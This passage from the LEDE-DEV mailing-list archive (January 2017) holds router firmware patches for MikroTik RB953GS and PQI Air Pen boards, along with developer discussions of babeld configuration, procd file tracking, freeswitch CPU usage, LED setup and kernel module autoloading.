+	/* GMAC0 of the AR8327 switch is connected to GMAC1 via SGMII */
+	rb953gs_ar8327_pad0_cfg.mode = AR8327_PAD_MAC_SGMII;
+	rb953gs_ar8327_pad0_cfg.sgmii_delay_en = true;
+
+	/* GMAC6 of the AR8327 switch is connected to GMAC0 via RGMII */
+	rb953gs_ar8327_pad6_cfg.mode = AR8327_PAD_MAC_RGMII;
+	rb953gs_ar8327_pad6_cfg.txclk_delay_en = true;
+	rb953gs_ar8327_pad6_cfg.rxclk_delay_en = true;
+	rb953gs_ar8327_pad6_cfg.txclk_delay_sel = AR8327_CLK_DELAY_SEL1;
+	rb953gs_ar8327_pad6_cfg.rxclk_delay_sel = AR8327_CLK_DELAY_SEL2;
+
+	ath79_eth0_pll_data.pll_1000 = 0x56000000;
+	ath79_eth1_pll_data.pll_1000 = 0x03000101;
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + RB953_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_setup_qca955x_eth_cfg(QCA955X_ETH_CFG_RGMII_EN);
+
+	ath79_register_mdio(0, 0x0);
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + RB953_MAC0_OFFSET, 0);
+
+	mdiobus_register_board_info(rb953gs_mdio0_info,
+				    ARRAY_SIZE(rb953gs_mdio0_info));
+
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = BIT(0);
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected tot eh SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_RB_953GS, "953gs", "MikroTik RouterBOARD 953GS-5HnT-RP", rb953gs_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..d8c6373 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -164,6 +164,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_922GS,			/* Mikrotik RouterBOARD 911/922GS boards */
 	ATH79_MACH_RB_951G,			/* Mikrotik RouterBOARD 951G */
 	ATH79_MACH_RB_951U,			/* Mikrotik RouterBOARD 951Ui-2HnD */
+	ATH79_MACH_RB_953GS,			/* Mikrotik RouterBOARD 953GS-5HnT-RP */
 	ATH79_MACH_RB_SXTLITE2ND,		/* Mikrotik RouterBOARD SXT Lite 2nD */
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
diff --git a/target/linux/ar71xx/mikrotik/config-default b/target/linux/ar71xx/mikrotik/config-default
index e33e741..1f01c33 100644
--- a/target/linux/ar71xx/mikrotik/config-default
+++ b/target/linux/ar71xx/mikrotik/config-default
@@ -67,6 +67,7 @@ CONFIG_ATH79_MACH_RB750=y
 CONFIG_ATH79_MACH_RB91X=y
 CONFIG_ATH79_MACH_RB922=y
 CONFIG_ATH79_MACH_RB95X=y
+CONFIG_ATH79_MACH_RB953GS=y
 CONFIG_ATH79_MACH_RBSXTLITE=y
 # CONFIG_ATH79_MACH_RE450 is not set
 # CONFIG_ATH79_MACH_RW2458N is not set
diff --git a/target/linux/ar71xx/patches-4.4/701-MIPS-ath79-add-routerboard-detection.patch b/target/linux/ar71xx/patches-4.4/701-MIPS-ath79-add-routerboard-detection.patch
index 77bf38c..c031858 100644
--- a/target/linux/ar71xx/patches-4.4/701-MIPS-ath79-add-routerboard-detection.patch
+++ b/target/linux/ar71xx/patches-4.4/701-MIPS-ath79-add-routerboard-detection.patch
@@ -1,6 +1,8 @@
---- a/arch/mips/ath79/prom.c
-+++ b/arch/mips/ath79/prom.c
-@@ -136,6 +136,16 @@ void __init prom_init(void)
+Index: linux-4.4.40/arch/mips/ath79/prom.c
+===================================================================
+--- linux-4.4.40.orig/arch/mips/ath79/prom.c
++++ linux-4.4.40/arch/mips/ath79/prom.c
+@@ -136,6 +136,17 @@ void __init prom_init(void)
  		initrd_end = initrd_start + fw_getenvl("initrd_size");
  	}
  #endif
@@ -12,7 +14,8 @@
 +	    strstr(arcs_cmdline, "board=951G") ||
 +	    strstr(arcs_cmdline, "board=2011L") ||
 +	    strstr(arcs_cmdline, "board=711Gr100") ||
-+	    strstr(arcs_cmdline, "board=922gs"))
++	    strstr(arcs_cmdline, "board=922gs") ||
++	    strstr(arcs_cmdline, "board=953gs"))
 +		ath79_prom_append_cmdline("console", "ttyS0,115200");
  }
  
-- 
2.1.4


From baptiste at bitsofnetworks.org  Mon Jan  9 05:52:54 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Mon, 9 Jan 2017 14:52:54 +0100
Subject: [LEDE-DEV] Breaking compatibility with pre-1.5.1 babeld on
 OpenWRT/LEDE
Message-ID: <20170109135254.GC15149@tuxmachine.polynome.dn42>

Dear babeld users on OpenWRT/LEDE,

Starting from babeld 1.5.1, the UCI format for configuring babeld on
OpenWRT had changed to be more consistent with upstream babeld (use the
same option names, and a few other changes).

At the time, I had ensured backward compatibility, see:

  https://wiki.openwrt.org/doc/uci/babeld#backward_compatibility
  https://github.com/openwrt-routing/packages/blob/master/babeld/files/babeld.init#L65

Since we are now at babeld 1.8 and a stable release of LEDE is nearing,
I would like to remove this compatibility code.  It would make the babeld
init script more readable and less confusing.  Quoting the Zen of Python:

    ??There should be one-- and preferably only one --obvious way to do it.??


If I hear no objection by the beginning of next week, I will go ahead with
the cleanup.  Please yell if you still need the old syntax.

Baptiste
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/3ad3ee56/attachment.sig>

From baptiste at bitsofnetworks.org  Mon Jan  9 07:29:57 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Mon, 9 Jan 2017 16:29:57 +0100
Subject: [LEDE-DEV] [procd] Using "procd_set_param file" on a directory
Message-ID: <20170109152957.GF15149@tuxmachine.polynome.dn42>

Hi,

I am using the "procd_set_param file" feature of procd, so that calling
"/etc/init.d/myscript reload" only restarts the process if one of the
config file has changed.

I was wondering if I can do the same thing on a directory?  Basically, my
daemon can now take configuration from all files in a given directory,
"/tmp/babeld.d/*.conf".  So, I would like to pass "/tmp/babeld.d" like this:

    procd_set_param file "/tmp/babeld.d/"

In this case, will procd look for changes in any files in this directory?
Will it also detect file creation/deletion?

Thanks,
Baptiste

PS: the complete procd block is the following:

        procd_open_instance      
        procd_set_param command /usr/sbin/babeld -I "" -c "/etc/babeld.conf" -c "/var/etc/babeld.conf"
        procd_set_param stdout 1
        procd_set_param stderr 1                               
        # Last argument is a directory
        procd_set_param file "/var/etc/babeld.conf" "/etc/babeld.conf" "/tmp/babeld.d"
        procd_set_param respawn                           
        procd_close_instance
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/40bc6d4f/attachment.sig>

From baptiste at bitsofnetworks.org  Mon Jan  9 07:33:02 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Mon, 9 Jan 2017 16:33:02 +0100
Subject: [LEDE-DEV] procd question, something causing high cpu usage
In-Reply-To: <20161219225824.GA31017@hotdamn.lan>
References: <20161219225824.GA31017@hotdamn.lan>
Message-ID: <20170109153302.GG15149@tuxmachine.polynome.dn42>

Hi Sebastian,

On Mon, Dec 19, 2016 at 11:58:26PM +0100, Sebastian Kemper wrote:
> Hi all,
> 
> I'm running LEDE git from yesterday (but also observed this on an older
> git revision from a few weeks back) on a small mips router. When I start
> freeswitch compiled without libedit via procd, CPU usage goes up to a
> 100% percent. When freeswitch is compiled with libedit on the other
> hand, everything seems fine.
> 
> Also, when I start the libedit-less freeswitch from the command
> line/shell, all is fine, too.
> 
> When I set the logging to syslog (procd_set_param stdout 1), then
> logread shows this all the time:
> 
> Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 

What is the behaviour of freeswitch when you launch it directly from the
command-line?  Does it give you a prompt, or does it just run in the
foreground without printing anything?

If freeswitch expects an interactive terminal to accept user commands,
it's most likely the cause of the issue, because procd does not provide
this.  If that is the case, maybe disabling the interactive prompt in
freeswitch could help?

> These messages keep flashing by, only the time stamp is changing. After
> a while the router hangs up and reboots. So it seems that freeswitch is
> blasting its command prompt to procd all the time. top suggests the
> same:
> 
>   PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND
>  3629  3628 freeswit R    23208  19%  46% freeswitch -c -cache /tmp/freeswitch/
>     1     0 root     R     1524   1%  26% /sbin/procd
>   723     1 root     S     6288   5%  26% /sbin/logd -S 64
>  1472     1 root     S     1664   1%   1% /usr/sbin/hostapd -P /var/run/wifi-ph
> 
> Has anybody an idea what could cause this? Maybe the same experience
> with another program? Any idea what I could try to get around this?
> 
> I've put the procd part of the init script below. But I think it's
> pretty standard.
> 
> Kind regards,
> Sebastian
> 
>   procd_open_instance
>   procd_set_param command freeswitch
>   procd_append_param command -c -cache "$fs_dir_cache" \
>     -conf "$fs_dir_etc" -db "$fs_dir_db" -log "$fs_dir_log" \
>     -recordings "$fs_dir_recordings" -run "$fs_dir_run" \
>     -storage "$fs_dir_storage" -temp "$fs_dir_temp" $OPTIONS
>   procd_set_param user "$fs_user"
>   # forward stdout of the command to logd
>   #procd_set_param stdout 1
>   # same for stderr
>   procd_set_param stderr 1
>   procd_close_instance
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/cb1fb9d4/attachment.sig>

From nbd at nbd.name  Mon Jan  9 07:36:25 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Mon, 9 Jan 2017 16:36:25 +0100
Subject: [LEDE-DEV] [procd] Using "procd_set_param file" on a directory
In-Reply-To: <20170109152957.GF15149@tuxmachine.polynome.dn42>
References: <20170109152957.GF15149@tuxmachine.polynome.dn42>
Message-ID: <9b166386-4059-2eb0-838a-2c4f6fcb3040@nbd.name>

On 2017-01-09 16:29, Baptiste Jonglez wrote:
> Hi,
> 
> I am using the "procd_set_param file" feature of procd, so that calling
> "/etc/init.d/myscript reload" only restarts the process if one of the
> config file has changed.
> 
> I was wondering if I can do the same thing on a directory?  Basically, my
> daemon can now take configuration from all files in a given directory,
> "/tmp/babeld.d/*.conf".  So, I would like to pass "/tmp/babeld.d" like this:
> 
>     procd_set_param file "/tmp/babeld.d/"
> 
> In this case, will procd look for changes in any files in this directory?
> Will it also detect file creation/deletion?
It does not support passing a directory. You should do:
procd_set_param file /tmp/babeld.d/*.conf (without quotes)

- Felix



From jo at mein.io  Mon Jan  9 07:36:49 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 9 Jan 2017 16:36:49 +0100
Subject: [LEDE-DEV] [procd] Using "procd_set_param file" on a directory
In-Reply-To: <20170109152957.GF15149@tuxmachine.polynome.dn42>
References: <20170109152957.GF15149@tuxmachine.polynome.dn42>
Message-ID: <59388cc0-aa35-3272-1fb5-93002474b7cb@mein.io>

Hi Baptiste,

unfortunately it can't atm. Internally it calculates hashes over the
contents of the given files and it has no handling for directory listing
at all.

You could consider creating a dummy configuration only containing a
commented-out directory listing and register that with procd - would
that work in your case?

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 801 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/761202d8/attachment.sig>

From baptiste at bitsofnetworks.org  Mon Jan  9 07:58:23 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Mon, 9 Jan 2017 16:58:23 +0100
Subject: [LEDE-DEV] [procd] Using "procd_set_param file" on a directory
In-Reply-To: <9b166386-4059-2eb0-838a-2c4f6fcb3040@nbd.name>
References: <20170109152957.GF15149@tuxmachine.polynome.dn42>
 <9b166386-4059-2eb0-838a-2c4f6fcb3040@nbd.name>
Message-ID: <20170109155823.GH15149@tuxmachine.polynome.dn42>

On Mon, Jan 09, 2017 at 04:36:25PM +0100, Felix Fietkau wrote:
> It does not support passing a directory. You should do:
> procd_set_param file /tmp/babeld.d/*.conf (without quotes)

I wanted to avoid this solution if possible, because it does not handle
file creation.  However, that is not a major issue in my case, so I will
use this solution.  Thanks!

On Mon, Jan 09, 2017 at 04:36:49PM +0100, Jo-Philipp Wich wrote:
> unfortunately it can't atm. Internally it calculates hashes over the
> contents of the given files and it has no handling for directory listing
> at all.
> 
> You could consider creating a dummy configuration only containing a
> commented-out directory listing and register that with procd - would
> that work in your case?

This seems quite complicated, the shell globbing approach looks much
simpler.

Thanks for your answers,
Baptiste
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/a9243bfe/attachment.sig>

From baptiste at bitsofnetworks.org  Mon Jan  9 08:06:12 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Mon, 9 Jan 2017 17:06:12 +0100
Subject: [LEDE-DEV] [procd] Using "procd_set_param file" on a directory
In-Reply-To: <20170109155823.GH15149@tuxmachine.polynome.dn42>
References: <20170109152957.GF15149@tuxmachine.polynome.dn42>
 <9b166386-4059-2eb0-838a-2c4f6fcb3040@nbd.name>
 <20170109155823.GH15149@tuxmachine.polynome.dn42>
Message-ID: <20170109160612.GI15149@tuxmachine.polynome.dn42>

On Mon, Jan 09, 2017 at 04:58:23PM +0100, Baptiste Jonglez wrote:
> On Mon, Jan 09, 2017 at 04:36:25PM +0100, Felix Fietkau wrote:
> > It does not support passing a directory. You should do:
> > procd_set_param file /tmp/babeld.d/*.conf (without quotes)
> 
> I wanted to avoid this solution if possible, because it does not handle
> file creation.  However, that is not a major issue in my case, so I will
> use this solution.  Thanks!

Actually, it seems that this method *does* support file creation: when
creating a new file /tmp/babeld.d/foo.conf and calling "/etc/init.d/babeld
reload", the process is restarted.

I don't understand how this is possible, is start_service() called each
time a reload is requested?

Baptiste
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/8935c912/attachment-0001.sig>

From jo at mein.io  Mon Jan  9 08:32:09 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 9 Jan 2017 17:32:09 +0100
Subject: [LEDE-DEV] [procd] Using "procd_set_param file" on a directory
In-Reply-To: <20170109160612.GI15149@tuxmachine.polynome.dn42>
References: <20170109152957.GF15149@tuxmachine.polynome.dn42>
 <9b166386-4059-2eb0-838a-2c4f6fcb3040@nbd.name>
 <20170109155823.GH15149@tuxmachine.polynome.dn42>
 <20170109160612.GI15149@tuxmachine.polynome.dn42>
Message-ID: <2939c2ff-fbec-fa31-3625-d1b683b8ca4e@mein.io>

Hi Baptiste,

> I don't understand how this is possible, is start_service() called each
> time a reload is requested?

Yes. The init script always computes the service description and sends
it to procd which then decides whether there are any changes in tracked
resources and if so, it restarts the process instance.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 801 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170109/f9b4341f/attachment.sig>

From nbd at nbd.name  Mon Jan  9 11:18:47 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Mon, 9 Jan 2017 20:18:47 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add support for RB-941-2nD
In-Reply-To: <20170104220438.057BA120082@vps.slashirt.org>
References: <20170104220438.057BA120082@vps.slashirt.org>
Message-ID: <afd0fe6c-6143-bf95-fcfa-b2d6a915dc63@nbd.name>

On 2017-01-04 23:04, "Thibaut VARENE
<hacks at slashdirt.org>"@vps.slashdirt.org wrote:
> From e55aa1ddff1563d582b456807f20c0457fcaed77 Mon Sep 17 00:00:00 2001
> From: Thibaut VARENE <hacks at slashdirt.org>
> Date: Wed, 4 Jan 2017 22:44:54 +0100
> Subject: [PATCH] ar71xx: add support for RB-941-2nD
> 
> Add full support for Mikrotik RB-941-2nD (hAP lite)
> 
> Original patch by Sergey Sergeev <adron at yapic.net> and
> more information is available here:
> https://wiki.openwrt.org/toh/mikrotik/rb941_2nd
> I updated and adapted the patch to apply cleanly to LEDE trunk
> and added proper numbering for the switch ports (matching case
> labels).
> Tested working on actual hardware with the information
> provided in the above webpage. Sysupgrade works.
> 
> Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
I've pushed a modified version of your patch to my staging tree, please
check if it's still correct.

Thanks,

- Felix


From giu.lippolis at gmail.com  Mon Jan  9 12:02:34 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Mon, 9 Jan 2017 21:02:34 +0100
Subject: [LEDE-DEV] 3g led netdev setup
Message-ID: <007f01d26ab3$52187330$f6495990$@gmail.com>

Hi All,
I would like to switch on the 3g LED on the front panel of the dwr-512 when
the 3g modem connection is established.

One way (successfully tested) is to add the following section in the
/etc/conf/system:
config 'led'
        option 'name'          '3G'
        option 'sysfs'         'dwr-512-b:green:3g'
        option 'trigger'       'netdev'
        option 'dev'           'usb0'
        option 'mode'          'link'

Therefore one way is to add the uci commands in the
target/linux/ramips/base-files/etc/uci-defaults/  dir.

Another way seems to be add a line in the /etc/board.d/01_leds file:

dwr-512-b)
        ucidef_set_led_netdev "wan3g" "wan3g" "$board:green:3g" "usb0"
       ;;

Unfortunately this second way doesn't work and I'm unable to find any
documentation about the /etc/board.d/01_leds file.

Can someone help me?
Thanks,
Bye.



From hacks at slashdirt.org  Mon Jan  9 12:55:30 2017
From: hacks at slashdirt.org (Thibaut)
Date: Mon, 9 Jan 2017 21:55:30 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add support for RB-941-2nD
In-Reply-To: <afd0fe6c-6143-bf95-fcfa-b2d6a915dc63@nbd.name>
References: <20170104220438.057BA120082@vps.slashirt.org>
 <afd0fe6c-6143-bf95-fcfa-b2d6a915dc63@nbd.name>
Message-ID: <5025CCB9-7C16-4F45-A1DD-7CC59BC0F94B@slashdirt.org>


> Le 9 janv. 2017 ? 20:18, Felix Fietkau <nbd at nbd.name> a ?crit :
> 
> On 2017-01-04 23:04, "Thibaut VARENE
> <hacks at slashdirt.org>"@vps.slashdirt.org wrote:
>> From e55aa1ddff1563d582b456807f20c0457fcaed77 Mon Sep 17 00:00:00 2001
>> From: Thibaut VARENE <hacks at slashdirt.org>
>> Date: Wed, 4 Jan 2017 22:44:54 +0100
>> Subject: [PATCH] ar71xx: add support for RB-941-2nD
>> 
>> Add full support for Mikrotik RB-941-2nD (hAP lite)
>> 
>> Original patch by Sergey Sergeev <adron at yapic.net> and
>> more information is available here:
>> https://wiki.openwrt.org/toh/mikrotik/rb941_2nd
>> I updated and adapted the patch to apply cleanly to LEDE trunk
>> and added proper numbering for the switch ports (matching case
>> labels).
>> Tested working on actual hardware with the information
>> provided in the above webpage. Sysupgrade works.
>> 
>> Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
> I've pushed a modified version of your patch to my staging tree, please
> check if it's still correct.

I can confirm it builds fine with the .config I used to build my last image. As for proper testing I will only be able to do it in a couple weeks as I?m currently away from home?

Cheers,
Thibaut

From luci at createc.ro  Mon Jan  9 13:51:12 2017
From: luci at createc.ro (Lucian Cristian)
Date: Mon, 9 Jan 2017 23:51:12 +0200
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <20170109132528.GA15149@tuxmachine.polynome.dn42>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
Message-ID: <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>

On 09.01.2017 15:25, Baptiste Jonglez wrote:
> Hi,
>
> While investigating an issue with module loading order?, I discovered that
> some kernel packages use AutoProbe, like this:
>
>      AUTOLOAD:=$(call AutoProbe,xt_hashlimit)
>
> while some kernel packages use the AutoLoad helper I was used to, with a
> priority:
>
>      AUTOLOAD:=$(call AutoLoad,28,raid0)
>
> Judging from this commit? and `include/kernel.mk`, it seems the only
> difference is that AutoProbe does not include a priority.
>
> Is the loading order determined automatically for AutoProbe?  If so, where
> is the magic, and why is AutoLoad still needed in some cases?
>
> Thanks,
> Baptiste
>
> ? https://github.com/openwrt/packages/issues/3790
> ? https://git.lede-project.org/?p=source.git;a=commitdiff;h=022cadd64e8a24818d15b22bc28f3460e0b2519c
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

I opened the issue, so using autoload the modules will get a priority 
specified by the number, for wireguard above 90 would issue only one 
warning and using autoprobe the module would be loaded by the order of 
the name ? so setting the xt_hashlimit with a lower number (autoload) 
will start wireguard without complaining

Regards



From john at phrozen.org  Mon Jan  9 22:56:36 2017
From: john at phrozen.org (John Crispin)
Date: Tue, 10 Jan 2017 07:56:36 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
Message-ID: <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>



On 09/01/2017 22:51, Lucian Cristian wrote:
> On 09.01.2017 15:25, Baptiste Jonglez wrote:
>> Hi,
>>
>> While investigating an issue with module loading order?, I discovered
>> that
>> some kernel packages use AutoProbe, like this:
>>
>>      AUTOLOAD:=$(call AutoProbe,xt_hashlimit)
>>
>> while some kernel packages use the AutoLoad helper I was used to, with a
>> priority:
>>
>>      AUTOLOAD:=$(call AutoLoad,28,raid0)
>>
>> Judging from this commit? and `include/kernel.mk`, it seems the only
>> difference is that AutoProbe does not include a priority.
>>
>> Is the loading order determined automatically for AutoProbe?  If so,
>> where
>> is the magic, and why is AutoLoad still needed in some cases?
>>
>> Thanks,
>> Baptiste
>>
>> ? https://github.com/openwrt/packages/issues/3790
>> ?
>> https://git.lede-project.org/?p=source.git;a=commitdiff;h=022cadd64e8a24818d15b22bc28f3460e0b2519c
>>
>>
>>
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev
> 
> I opened the issue, so using autoload the modules will get a priority
> specified by the number, for wireguard above 90 would issue only one
> warning and using autoprobe the module would be loaded by the order of
> the name ? so setting the xt_hashlimit with a lower number (autoload)
> will start wireguard without complaining
> 
> Regards
> 
> 

autoload is like insmod while autoproe is more liek modprobe. kmodloader
will first load all numbered modules in the given order and then probe
the remaining ones.

	John


From john at phrozen.org  Tue Jan 10 00:08:00 2017
From: john at phrozen.org (John Crispin)
Date: Tue, 10 Jan 2017 09:08:00 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add support for PQI Air Pen
In-Reply-To: <1483926086-29792-1-git-send-email-tochiro.srchack@gmail.com>
References: <1483926086-29792-1-git-send-email-tochiro.srchack@gmail.com>
Message-ID: <4f168497-c9b2-6696-59ea-a83dc6cfe8f4@phrozen.org>

Hi,

comments inline

On 09/01/2017 02:41, YuheiOKAWA wrote:
> SoC: AR9331
> Ethernet x1, Wireless 2.4G, uSD card slot x1.
> USB Power, include Li-Po Battery.
> 

could be a bit more verbose here

> Signed-off-by: YuheiOKAWA <tochiro.srchack at gmail.com>
> ---
>  target/linux/ar71xx/base-files/etc/board.d/01_leds |  4 +
>  .../linux/ar71xx/base-files/etc/board.d/02_network |  1 +
>  target/linux/ar71xx/base-files/lib/ar71xx.sh       |  3 +
>  .../ar71xx/base-files/lib/upgrade/platform.sh      |  1 +
>  target/linux/ar71xx/config-4.4                     |  1 +
>  .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   | 10 +++
>  target/linux/ar71xx/files/arch/mips/ath79/Makefile |  1 +
>  .../files/arch/mips/ath79/mach-pqi-air-pen.c       | 99 ++++++++++++++++++++++
>  .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |  1 +
>  target/linux/ar71xx/image/generic.mk               | 10 +++
>  10 files changed, 131 insertions(+)
>  create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
> 
> diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> index 5a2bf0c..14d9b3c 100755
> --- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
> +++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
> @@ -427,6 +427,10 @@ omy-x1)
>  	ucidef_set_led_default "power" "POWER" "omy:green:power" "1"
>  	ucidef_set_led_default "wan" "WAN" "omy:green:wan" "eth0"
>  	;;
> +pqi-air-pen)
> +	ucidef_set_led_wlan "wlan" "WLAN" "pqi-air-pen:blue:wlan" "phy0tpt"
> +	ucidef_set_led_default "wps" "WPS" "pqi-air-pen:blue:wps" "0"
> +	;;
>  qihoo-c301)
>  	ucidef_set_led_wlan "wlan2g" "WLAN2G" "qihoo:red:status" "phy1tpt"
>  	;;
[...]

> diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
> index 4b2f736..129af79 100644
> --- a/target/linux/ar71xx/config-4.4
> +++ b/target/linux/ar71xx/config-4.4
> @@ -136,6 +136,7 @@ CONFIG_ATH79_MACH_OMY_X1=y
>  CONFIG_ATH79_MACH_ONION_OMEGA=y
>  CONFIG_ATH79_MACH_PB42=y
>  CONFIG_ATH79_MACH_PB44=y
> +CONFIG_ATH79_MACH_PQI_AIR_PEN=y
>  CONFIG_ATH79_MACH_QIHOO_C301=y
>  CONFIG_ATH79_MACH_R6100=y
>  # CONFIG_ATH79_MACH_RB2011 is not set
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> index 21d6b51..902a7e9 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
> @@ -1734,6 +1734,16 @@ config ATH79_MACH_CARAMBOLA2
>  	select ATH79_DEV_USB
>  	select ATH79_DEV_WMAC
>  
> +config ATH79_MACH_PQI_AIR_PEN

alphabetical ordering is wrong

> +	bool "PQI Air Pen"
> +	select SOC_AR933X
> +	select ATH79_DEV_ETH
> +	select ATH79_DEV_GPIO_BUTTONS
> +	select ATH79_DEV_LEDS_GPIO
> +	select ATH79_DEV_M25P80
> +	select ATH79_DEV_USB
> +	select ATH79_DEV_WMAC
> +
>  config ATH79_MACH_CF_E316N_V2
>  	bool "COMFAST CF-E316N v2 support"
>  	select SOC_AR934X
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> index 6384c06..2280483 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
> @@ -65,6 +65,7 @@ obj-$(CONFIG_ATH79_MACH_C60)			+= mach-c60.o
>  obj-$(CONFIG_ATH79_MACH_CAP324)			+= mach-cap324.o
>  obj-$(CONFIG_ATH79_MACH_CAP4200AG)		+= mach-cap4200ag.o
>  obj-$(CONFIG_ATH79_MACH_CARAMBOLA2)		+= mach-carambola2.o
> +obj-$(CONFIG_ATH79_MACH_PQI_AIR_PEN)		+= mach-pqi-air-pen.o


alphabetical ordering is wrong

>  obj-$(CONFIG_ATH79_MACH_CF_E316N_V2)		+= mach-cf-e316n-v2.o
>  obj-$(CONFIG_ATH79_MACH_CF_E320N_V2)		+= mach-cf-e316n-v2.o
>  obj-$(CONFIG_ATH79_MACH_CF_E380AC_V1)		+= mach-cf-e316n-v2.o
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
> new file mode 100644
> index 0000000..f8803c4
> --- /dev/null
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-pqi-air-pen.c
> @@ -0,0 +1,99 @@
> +/*
> + *  PQI Air Pen stick support
> + *
> + *  Copyright (C) 2016 YuheiOKAWA <tochiro.srchack at gmail.com>
> + *
> + *  This program is free software; you can redistribute it and/or modify it
> + *  under the terms of the GNU General Public License version 2 as published
> + *  by the Free Software Foundation.
> +*/
> +
> +#include <linux/gpio.h>
> +
> +#include <asm/mach-ath79/ath79.h>
> +
> +#include "common.h"
> +#include "dev-eth.h"
